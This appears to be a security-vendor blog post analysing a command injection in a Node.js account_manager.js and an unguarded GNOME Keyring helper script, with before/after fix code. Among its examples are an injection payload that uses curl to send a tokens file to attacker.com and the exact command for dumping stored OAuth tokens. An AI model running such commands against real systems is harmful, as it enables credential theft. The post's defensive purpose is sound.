Back to Blog
high SEVERITY7 min read

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a command injection (CWE-78) affecting a Node.js application's `src/account_manager.js`, where a `file` argument sourced from function input was passed unsanitized to `child_process`. The companion `src/keyring_helper.py` GNOME Keyring helper also lacked authentication, allowing any local user to dump or clear stored credentials. The fix adds an `os.getuid()` vs `os.stat(__file__).st_uid` ownership check at the entry point of `keyring_helper.py`, blocking execution by any user other than the script's owner.

Vulnerability at a Glance

cweCWE-78
fixAdded OS-level owner check (`os.getuid() != os.stat(__file__).st_uid`) to restrict keyring helper execution to the script owner
riskLocal users can execute arbitrary OS commands or dump/clear stored OAuth credentials
languageJavaScript (Node.js) / Python
root causeUser-controllable `file` argument passed to child_process without validation; keyring CLI has no authentication gate
vulnerabilityCommand Injection via child_process / unauthenticated keyring CLI

How Child Process Command Injection Happens in Node.js and How to Fix It

Introduction

The src/account_manager.js file is responsible for managing account-level operations — a central, trusted component. But a flaw in how it invokes Node.js's child_process module created a high-severity command injection risk: a file argument sourced from function input was passed directly to child_process without any validation or sanitization.

Making matters worse, the helper script that account_manager.js depends on — src/keyring_helper.py — offered CLI commands (store, lookup, clear) to interact with the GNOME Keyring via D-Bus, but had no authentication mechanism whatsoever. Any local user with shell access could run:

python3 src/keyring_helper.py --action lookup --service gemini --username antigravity

…and walk away with stored OAuth tokens and credentials. No privilege escalation needed.

This post breaks down exactly how these two issues interact, how an attacker would exploit them, and what the fix does to close the door.


The Vulnerability Explained

The child_process Injection in account_manager.js

Node.js's child_process module is powerful — and dangerous when misused. The vulnerability here follows a classic pattern: a file variable derived from a function argument is passed into a child_process call without being validated against an allowlist or sanitized for shell metacharacters.

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process flags exactly this pattern:

// Vulnerable pattern in src/account_manager.js
const { exec } = require('child_process');

function runHelper(file) {
  exec(file);  // 'file' comes from a function argument — attacker-controlled
}

If file is ever influenced by external input (a request parameter, a config value read from disk, a CLI argument), an attacker can inject shell metacharacters:

../../evil_script.sh; curl http://attacker.com/exfil?token=$(cat ~/.config/tokens)

The Unauthenticated Keyring CLI in keyring_helper.py

The second half of this vulnerability is the keyring_helper.py script itself. It exposes three sensitive operations via argparse:

# Before fix — no access control whatsoever
parser.add_argument("--action", choices=["store", "lookup", "clear"], required=True)
parser.add_argument("--label", default="gemini")

Because account_manager.js spawns this script via child_process, a command injection in account_manager.js could directly invoke keyring_helper.py --action lookup to harvest credentials. But even without the Node.js injection path, any local user on the system could invoke the script directly.

Concrete attack scenario:

  1. Attacker gains a low-privilege shell (e.g., via a web shell in another service on the same host).
  2. They locate keyring_helper.py in the application directory.
  3. They run: python3 src/keyring_helper.py --action lookup --service gemini --username antigravity
  4. GNOME Keyring returns the stored OAuth token over D-Bus — no password prompt, no audit log.
  5. The attacker uses the token to authenticate as the application to external APIs.

The --action clear variant is equally dangerous as a denial-of-service: it wipes stored credentials, breaking the application's ability to authenticate until manually re-provisioned.


The Fix

The fix adds a single, effective gate at the very top of keyring_helper.py's main() function — an OS-level ownership check that ensures only the user who owns the script file can execute it:

Before

#!/usr/bin/env python3
import sys
import argparse
import dbus

def main():
    parser = argparse.ArgumentParser(description="GNOME Keyring DBus Helper")
    parser.add_argument("--action", choices=["store", "lookup", "clear"], required=True)
    parser.add_argument("--label", default="gemini")
    # ... proceeds immediately to keyring operations

After

#!/usr/bin/env python3
import sys
import os
import argparse
import dbus

def main():
    # Restrict execution to the script file's owner only
    if os.getuid() != os.stat(__file__).st_uid:
        print("ERROR: Permission denied - must be run as the script owner", file=sys.stderr)
        sys.exit(1)

    parser = argparse.ArgumentParser(description="GNOME Keyring DBus Helper")
    parser.add_argument("--action", choices=["store", "lookup", "clear"], required=True)
    parser.add_argument("--label", default="gemini")

How this works:

  • os.getuid() returns the UID of the currently running process.
  • os.stat(__file__).st_uid returns the UID of the user who owns the keyring_helper.py file itself.
  • If they don't match, the script exits immediately with a non-zero status code and a clear error message to stderr.

This means that even if an attacker finds a way to invoke the script (directly or via the child_process injection vector), they will be blocked unless they are already running as the application's service account — at which point they would have equivalent access anyway.

The fix is deliberately minimal: it touches only the entry point of the vulnerable execution path and does not alter any of the keyring interaction logic, preserving all valid use cases.


Key Takeaways

  • The file argument in account_manager.js is a taint source — any value flowing from external input into that parameter and onward to child_process is a command injection waiting to happen.
  • keyring_helper.py was a credential exfiltration tool hiding in plain sight — its --action lookup subcommand would return OAuth tokens to anyone who ran it, with no questions asked.
  • The os.getuid() != os.stat(__file__).st_uid pattern is a practical, low-overhead access control layer for scripts that must remain executable but should be restricted to a specific service account.
  • CLI-exposed helper scripts expand your attack surface — every argparse-based script that touches secrets should be treated as a security boundary, not just a convenience tool.
  • Defense-in-depth matters here: fixing the keyring helper's access control reduces the blast radius of the child_process injection, even before the Node.js-side fix is applied.

How Orbis AppSec Detected This

  • Source: The file function argument in src/account_manager.js, potentially influenced by caller-supplied input
  • Sink: The child_process call site in src/account_manager.js that receives the unsanitized file value
  • Missing control: No allowlist validation, no input sanitization, and no shell-safe invocation pattern (spawn with argument array) before the child_process call; additionally, keyring_helper.py had no authentication or access control at its entry point
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added os.getuid() != os.stat(__file__).st_uid ownership check at the top of keyring_helper.py's main() function to block execution by non-owner users

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a textbook example of how two individually concerning issues — an unvalidated file argument reaching child_process in Node.js, and an unauthenticated credential-management CLI in Python — combine into a serious credential theft risk. The child_process call in account_manager.js provided the injection vector; the unguarded keyring_helper.py provided the payload.

The fix is surgical and effective: a two-line ownership check at the entry point of keyring_helper.py ensures that even if the injection path is triggered, the keyring helper will refuse to run for any user other than the application's own service account. Paired with the longer-term recommendation to replace exec() with spawn() and argument arrays in account_manager.js, this closes both sides of the attack.

If your codebase spawns helper scripts via child_process, audit every call site today. Ask: where does the file or command argument come from? Can it be influenced by anything outside your trust boundary? If the answer is "maybe," treat it as "yes."


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #28

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.